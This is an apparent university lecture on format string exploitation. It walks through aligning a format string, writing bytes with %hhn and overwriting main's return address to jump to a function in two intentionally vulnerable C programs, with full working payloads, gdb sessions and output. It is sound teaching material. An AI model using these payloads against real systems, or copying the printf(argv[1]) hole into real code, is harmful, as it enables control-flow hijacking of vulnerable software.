Lec. 21: Format String Attacks III
Table of Contents
1 Overwriting the Return Address using a Format
So far, we've used format string attacks to overwrite a arbitrary value, but we need to now consider using this with an exploit.
Let's return to the example code we used the last time, but this time
there is a function foo()
that we wish to call by overwriting the
return address of main()
.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "print_stack.h" void foo(){ printf("Go Navy!\n"); } int main(int argc, char * argv[]){ static int test_val = 0x00616161; //"AAA\0" as an int printf("Right: "); printf("%s", argv[1]); printf("\n\n"); printf("Wrong: "); printf(argv[1]); //<------!!!!! printf("\n\n"); printf("[*] test_val @ %p = %#08x\n", &test_val,test_val); print_stack("main",2); return; }
Note, I also added the print_stack()
function so we can see what's
going in a bit more detail. We will eventually remove it in the
complete attack.
1.1 Alignment
Before doing all that dirty work, let's setup our format string to be properly aligned so we won't have to do a bunch of recalculations. The goal is to produce a format string of the right length, with all the parts present, such that we can just focus on writing bytes.
need four totoal formats two-pair addr2 addr4 formats to write a four-byte address /\ /\ .-------------------------------'---------------------. | | | | / \ AAAABBBBCCCCDDDD%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x | | | | \ / \ \/ \/ '-----.----' '--- the index will change based addr1 addr3 | on alignment and 00x will be hhn | one format to adjust number of output bytes in foramte and one format to be replaced by hhn to do the writing
Let's give this format a warm up shot in our program:
user@si485H-base:demo$ ./fmt_vuln AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1$00x.%1\$008x.%1\$00x Right: AAAABBBBCCCCDDDD%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1-bash0x.%1$008x.%1$00x Wrong: AAAABBBBCCCCDDDDbffff85b.bffff85b.bffff85b.bffff85b.bffff85b.%1-bash0x.bffff85b.bffff85b [*] test_val @ 0x804a028 = 0x616161 --- STACK main --- 0xbffff6a4 <ebp+0xc>: bffff734 0xbffff6a0 <ebp+0x8>: 00000002 0xbffff69c <ebp+0x4>: b7e33a83 0xbffff698 <ebp>: 00000000 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 08048610 0xbffff68c <ebp-0xc>: b7fc4000 0xbffff688 <ebp-0x10>: 00616161 0xbffff684 <ebp-0x14>: 00000002 0xbffff680 <ebp-0x18>: 08048725 0xbffff67c <ebp-0x1c>: 08048603 0xbffff678 <ebp-0x20>: bffff698
Ok, that looks good. Now we need to find at what index we find the start of the format string itself so we can remove the AAAA and BBBB and CCCC and DDDD and replace them with addresses we want to write too. For that, we can use a bash script:
user@si485H-base:demo$ for i in `seq 1 1 200`; do echo -n "$i "; ./fmt_vuln AAAABBBBCCCCDDDD%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x | grep Wrong ; done | grep 41 41 Wrong: AAAABBBBCCCCDDDDbffff85a.b7fed180.bffff85a.b7fed180.bffff85a.b7fed180.bffff85a.b7fed180 70 Wrong: AAAABBBBCCCCDDDDbffff85a.b7fdd414.bffff85a.b7fdd414.bffff85a.b7fdd414.bffff85a.b7fdd414 121 Wrong: AAAABBBBCCCCDDDDbffff856.4141006e.bffff856.4141006e.bffff856.4141006e.bffff856.4141006e 122 Wrong: AAAABBBBCCCCDDDDbffff856.42424141.bffff856.42424141.bffff856.42424141.bffff856.42424141 141 Wrong: AAAABBBBCCCCDDDDbffff856.30302431.bffff856.30302431.bffff856.30302431.bffff856.30302431
Essentially, we iterate through the indexes until we find some sequence of 0x41's (or other values we are interested in. If you look above, at 121 and 122 we see the sequences that matter, but they aren't quite align the way we want. We need to add two bytes to the string to get the alignment to work.
user@si485H-base:demo$ for i in `seq 1 1 200`; do echo -n "$i "; ./fmt_vuln AAAABBBBCCCCDDDD..%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x | grep Wrong ; done | grep 41 41 Wrong: AAAABBBBCCCCDDDD..bffff858.b7fed180.bffff858.b7fed180.bffff858.b7fed180.bffff858.b7fed180 70 Wrong: AAAABBBBCCCCDDDD..bffff858.b7fdd414.bffff858.b7fdd414.bffff858.b7fdd414.bffff858.b7fdd414 121 Wrong: AAAABBBBCCCCDDDD..bffff854.41414141.bffff854.41414141.bffff854.41414141.bffff854.41414141 141 Wrong: AAAABBBBCCCCDDDD..bffff854.30302431.bffff854.30302431.bffff854.30302431.bffff854.30302431
Notice the extra ".." following the D's to get everything to align properly, if we use 121.
user@si485H-base:demo$ ./fmt_vuln AAAABBBBCCCCDDDD..%1\$008x.%121\$00x.%1\$008x.%122\$00x.%1\$008x.%123\$00x.%1\$008x.%124\$00x Right: AAAABBBBCCCCDDDD..%1$008x.%121$00x.%1$008x.%122$00x.%1$008x.%123$00x.%1$008x.%124$00x Wrong: AAAABBBBCCCCDDDD..bffff854.41414141.bffff854.42424242.bffff854.43434343.bffff854.44444444 [*] test_val @ 0x804a028 = 0x616161 --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 08048610 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 00616161 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 08048725 0xbffff66c <ebp-0x1c>: 08048603 0xbffff668 <ebp-0x20>: bffff688
Now we have what we need to completely aligned format string to use in our exploit by writing bytes to the right place.
1.2 Writing Bytes
With a properly aligned format, let's start by writing the bytes we want to a locale that we can see clearly the bytes we are writing. The sample code makes this easy, we'll write to the test value at 0x804a02r. It's just a matter of putting that address into our format string and inserting some hhn's for writing.
user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$008x.%121\$hhn.%1\$008x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn Right: '&%$..%1$008x.%121$hhn.%1$008x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn Wrong: '&%$..bffff854..bffff854..bffff854..bffff854. [*] test_val @ 0x804a024 = 0x1b252f39 --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 1b252f39 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688
Notice, that by planning, we are perfectly aligned because 00x is 3 characters long and so is hhn.
Also notice, that we are writing the bytes from most significant to * least significant*. This is important because as we build up our format, if we have to change the value we bytes earlier, that changes the value of bytes later because it increases the length of the format. However, consider that when writing addresses, it is the least significant portion of the address space that will change more than the most significant portion. By writing the values from most to least, this means that the portion of the address which will change the least will not be affected by the portion that will change the most. For example, if we are writing to address 0xbffff982, but that changes to 0xbffff945, we don't want to have to change the format writing of 0xbffff9 because the 45 changed to 82. (BELIEVE ME ON THIS, I had to rework this lesson multiple times to fix these problems. Write your bytes most-to-least significant!)
Now, that we've gotten all that out of the way, let's get down to the
business of writing bytes. First, let's find the address of foo()
:
user@si485H-base:demo$ objdump -d fmt_vuln | grep foo 0804852d <foo>:
Now we get to work. In the most significant byte, currently we are writing 0x1b but we need 0x08. This means we have to wrap around. Doing some math:
user@si485H-base:demo$ python -c "print (0x100 - 0x1b) + 0x8 + 8" 245
We need to write 256 bytes to get to 0x08 when accounting for the 8 bytes we are already writing.
user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$008x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn Right: '&%$..%1$245x.%121$hhn.%1$008x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn Wrong: '&%$.. bffff854..bffff854..bffff854..bffff854. [*] test_val @ 0x804a024 = 0x8121c26 --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 08121c26 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688
Now we need to write 04 byte we are writing 12, so we use the same calculation again:
user@si485H-base:demo$ python -c "print (0x100 - 0x12) + 0x4 + 8" 250
Updating our format to do 250 bytes of output:
user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$008x.%123\$hhn.%1\$008x.%124\$hhn Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$008x.%123$hhn.%1$008x.%124$hhn Wrong: '&%$.. bffff854.. bffff854..bffff854..bffff854. [*] test_val @ 0x804a024 = 0x8040e18 --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 08040e18 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688
Next we are writing 0x0e and we need to be writing 0x85, so again, math:
user@si485H-base:demo$ python -c "print 0x85 - 0x0e + 8" 127
And an update of the format string:
user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$008x.%124\$hhn Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$008x.%124$hhn Wrong: '&%$.. bffff854.. bffff854.. bffff854..bffff854. [*] test_val @ 0x804a024 = 0x804858f --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 0804858f 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688
Now the last byte. We are writing 8f and the target is 2d, which means wrapping around:
user@si485H-base:demo$ python -c "print (0x100 - 0x8f) + 0x2d + 8" 166
And now we've got it:
user@si485H-base:demo$ ./fmt_vuln $(printf '\x27\xa0\x04\x08')$(printf '\x26\xa0\x04\x08')$(printf '\x25\xa0\x04\x08')$(printf '\x24\xa0\x04\x08')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$166x.%124\$hhn Right: '&%$..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$166x.%124$hhn Wrong: '&%$.. bffff854.. bffff854.. bffff854.. bffff854. [*] test_val @ 0x804a024 = 0x804852d --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: b7e33a83 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 0804852d 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688
1.3 Overwriting the return address
Now, that we have everything in place, it's only a matter of overwriting the return address. Fortunately, I've been printing out the stack each time to make life easier, so we know the address of the return address is 0xbffff68c. We can now stick that in to the from of our format string to complete the exploit.
user@si485H-base:demo$ ./fmt_vuln $(printf '\x8f\xf6\xff\xbf')$(printf '\x8e\xf6\xff\xbf')$(printf '\x8d\xf6\xff\xbf')$(printf '\x8c\xf6\xff\xbf')..%1\$245x.%121\$hhn.%1\$250x.%122\$hhn.%1\$127x.%123\$hhn.%1\$166x.%124\$hhn Right: ????????????????..%1$245x.%121$hhn.%1$250x.%122$hhn.%1$127x.%123$hhn.%1$166x.%124$hhn Wrong: ????????????????.. bffff854.. bffff854.. bffff854.. bffff854. [*] test_val @ 0x804a024 = 0x616161 --- STACK main --- 0xbffff694 <ebp+0xc>: bffff724 0xbffff690 <ebp+0x8>: 00000002 0xbffff68c <ebp+0x4>: 0804852d 0xbffff688 <ebp>: 00000000 0xbffff684 <ebp-0x4>: 00000000 0xbffff680 <ebp-0x8>: 080485e0 0xbffff67c <ebp-0xc>: b7fc4000 0xbffff678 <ebp-0x10>: 00616161 0xbffff674 <ebp-0x14>: 00000002 0xbffff670 <ebp-0x18>: 080486f5 0xbffff66c <ebp-0x1c>: 080485d3 0xbffff668 <ebp-0x20>: bffff688 Go Navy!
2 Formatting With Less Help
Ok, now that we've seen this in action, we need to pull away some of the aids that's have been making this easier. In particular, let's no longer print the stack each time and let's get rid of the testval. Instead, we'll have a much, much plainer vulnerable program.
#include <stdio.h> #include <stdlib.h> #include <string.h> void foo(){ printf("Go Navy!\n"); } int main(int argc, char * argv[]){ int a = 0xdeadbeef; //LOTS OF CODE MIGHT BE HERE printf(argv[1]); return; }
2.1 Alignment
Aligning our format is mostly the same process; however, finding the target address to overwrite will be different. We should consider a format that will both allow us to do arbitrary writes AND check what we are writing.
This format output is essentially the same as what we've done before, but I've added one extra format to the end.
user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$#08x AAAABBBBCCCCDDDDbffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.0xbffff724
That extra format, we'll align up to 0xdeadbeef:
user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%1\$008x.%1\$00x.%7\$#08x AAAABBBBCCCCDDDDbffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.bffff724.0xdeadbeef
This will be our target we'll write to. Now to align the rest of the format.
user@si485H-base:demo$ for i in `seq 1 1 200`; do echo -n "$i "; ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%1\$008x.%$i\$00x.%7\$#08x ; done | grep 41 41 AAAABBBBCCCCDDDDbffff724.2.bffff724.2.bffff724.2.bffff724.2.0xdeadbeef 74 AAAABBBBCCCCDDDDbffff724.b7fdd414.bffff724.b7fdd414.bffff724.b7fdd414.bffff724.b7fdd414.0xdeadbeef 123 AAAABBBBCCCCDDDDbffff724.41414141.bffff724.41414141.bffff724.41414141.bffff724.41414141.0xdeadbeef 141 AAAABBBBCCCCDDDDbffff724.252e7838.bffff724.252e7838.bffff724.252e7838.bffff724.252e7838.0xdeadbeef
And we see that at 123, we find the alignment we are looking for.
user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x AAAABBBBCCCCDDDDbffff724.41414141.bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
2.2 Determining where to write
Now, things get a bit sticky. We have the aligned format but we are not entirely sure what address to replace the A's, B's, C's, and D's with. Let's fire up gdb and see if we can learn something more about the address alignment.
(gdb) br main Breakpoint 1 at 0x804849a: file plain_fmt.c, line 12. (gdb) r AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x Starting program: /home/user/git/si485-binary-exploits/lec/21/demo/plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x Breakpoint 1, main (argc=2, argv=0xbffff6d4) at plain_fmt.c:12 12 int a = 0xdeadbeef;
Now we're under gdb, let's print the entire stack frame:
(gdb) x/12x $esp 0xbffff610: 0x00000002 0xbffff6d4 0xbffff6e0 0xb7e4d42d 0xbffff620: 0xb7fc43c4 0xb7fff000 0x080484db 0xb7fc4000 0xbffff630: 0x080484d0 0x00000000 0x00000000 0xb7e33a83 (gdb) x/x $ebp+0x4 0xbffff63c: 0xb7e33a83
So the address of the return is at 0xbffff63c. And taking a full programatic step after the assignment of 0xdeadbeef, we can see what address deadbeef is at:
(gdb) n 14 printf(argv[1]); (gdb) x/12x $esp 0xbffff610: 0x00000002 0xbffff6d4 0xbffff6e0 0xb7e4d42d 0xbffff620: 0xb7fc43c4 0xb7fff000 0x080484db 0xdeadbeef 0xbffff630: 0x080484d0 0x00000000 0x00000000 0xb7e33a83
Let's take account of what we know: (1) The return address is at 0xbffff63c and (2) the address of deadbeef is 0x10 less at 0xbffff62c. Let's continue the program:
(gdb) c Continuing. AAAABBBBCCCCDDDDbffff6d4.2f000000.bffff6d4.656d6f68.bffff6d4.6573752f.bffff6d4.69672f72.0xdeadbeef [Inferior 1 (process 2980) exited with code 012]
Looking at the output, we see the address 0xbffff6d4. This is a valid address and we can use this to calculate an offset from. So, the address of deadbeef is 0xa8 bytes offset (0xbfff6d4-0xa8), and the return address is offset 0x98 from that address (0xbffff6d4-0x98).
Now, we can take that information outside of gdb to try and determine what is going on and find the address we are looking for.
user@si485H-base:demo$ ./plain_fmt AAAABBBBCCCCDDDD%1\$008x.%123\$00x.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x AAAABBBBCCCCDDDDbffff724.41414141.bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef
Now we see the address 0xbffff724. Using the same calculation, the address of deadbeef should be at 0xbffff724-0xa8, or 0xbffff67c. And the address of return address should be 0xbffff68c. Let's see if we can cause some mischief:
user@si485H-base:demo$ ./plain_fmt $(printf "\x8c\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x ???BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef (...)
INFINITE LOOP! We are on to something here. Let's try some other addresses within the return address range.
user@si485H-base:demo$ ./plain_fmt $(printf "\x8d\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [496993.978183] plain_fmt[3047]: segfault at 41007d0c ip b7e31983 sp bffff690 error 6 in libc-2.19.so[b7e1a000+1a8000] user@si485H-base:demo$ ./plain_fmt $(printf "\x8e\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [497001.269591] plain_fmt[3052]: segfault at b7193a83 ip b7193a83 sp bffff690 error 14 user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")BBBBCCCCDDDD%1\$008x.%123\$hhn.%1\$008x.%124\$00x.%1\$008x.%125\$00x.%1\$008x.%126\$00x.%7\$#08x ????BBBBCCCCDDDDbffff724..bffff724.42424242.bffff724.43434343.bffff724.44444444.0xdeadbeef Segmentation fault (core dumped)
Notice the 0x19 that is moving through the return address range, that means we are in the money and we can start writing some bytes to that address.
2.3 Writing Byes
Like before, we want to write from most significant to least significant, so we can setup the following format:
user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$008x.%123\$hhn.%1\$008x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x ????????????????bffff724..bffff724..bffff724..bffff724..0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [497630.497343] plain_fmt[3118]: segfault at 19232d37 ip 19232d37 sp bffff690 error 14
And then look at the dmesg output to track our progress. The goal is to write to address of foo:
user@si485H-base:demo$ objdump -d plain_fmt | grep foo 0804847d <foo>:
The first byte we need to write is 0x08 and we are currently writing 0x19, so we wrap around:
user@si485H-base:demo$ python -c "print (0x100 - 0x19) + 0x08 + 8" 247 user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$008x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x ???????????????? bffff724..bffff724..bffff724..bffff724..0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [497667.448239] plain_fmt[3127]: segfault at 8121c26 ip 08121c26 sp bffff690 error 14
Next, we need 0x04 but we are writing 12 when we need 04.
user@si485H-base:demo$ python -c "print (0x100 - 0x12) + 0x04 + 8" 250 user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$008x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x ???????????????? bffff724.. bffff724..bffff724..bffff724..0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [497734.158660] plain_fmt[3136]: segfault at 8040e18 ip 08040e18 sp bffff690 error 14 in plain_fmt[8048000+1000]
Next, we need 0x84 and we are writing 0e:
user@si485H-base:demo$ python -c "print ((0x100 - 0x0e) + 0x84 + 8)%256" 126 user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$126x.%125\$hhn.%1\$008x.%126\$hhn.%7\$#08x ???????????????? bffff724.. bffff724.. bffff724..bffff724..0xdeadbeef Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [497815.575610] plain_fmt[3146]: segfault at 2 ip 00000002 sp bffff694 error 14 in plain_fmt[8048000+1000]
Uh oh …. what happened? Well, now that we are wrting 0x080484.. WE are now in the valid address ranges for what we want to write. So we can no longer rely on the dmesg output directly. Instead, we jumped to a valid address and the segfaulted somewhere else.
But all is not lost. Instead, we can now just do two calculations at once. Consider that the last time we wrote 126 bytes and the value in the least significant byte before that change was 0x18. That means that value should now be at: 0x18+126-8 = 0x8e. (The -8 was to account for the 8 bytes already printed within the format for 0x008).
If we are writing 0x8e, what we want to write 7d, that means for the last format we should be able to do this"
user@si485H-base:demo$ python -c "print ((0x100 - 0x8e) + 0x7d + 8)%256" 247 user@si485H-base:demo$ ./plain_fmt $(printf "\x8f\xf6\xff\xbf")$(printf "\x8e\xf6\xff\xbf")$(printf "\x8d\xf6\xff\xbf")$(printf "\x8c\xf6\xff\xbf")%1\$247x.%123\$hhn.%1\$250x.%124\$hhn.%1\$126x.%125\$hhn.%1\$247x.%126\$hhn.%7\$#08x ???????????????? bffff724.. bffff724.. bffff724.. bffff724..0xdeadbeef Go Navy! Segmentation fault (core dumped)
And, "Go Navy!" Boom.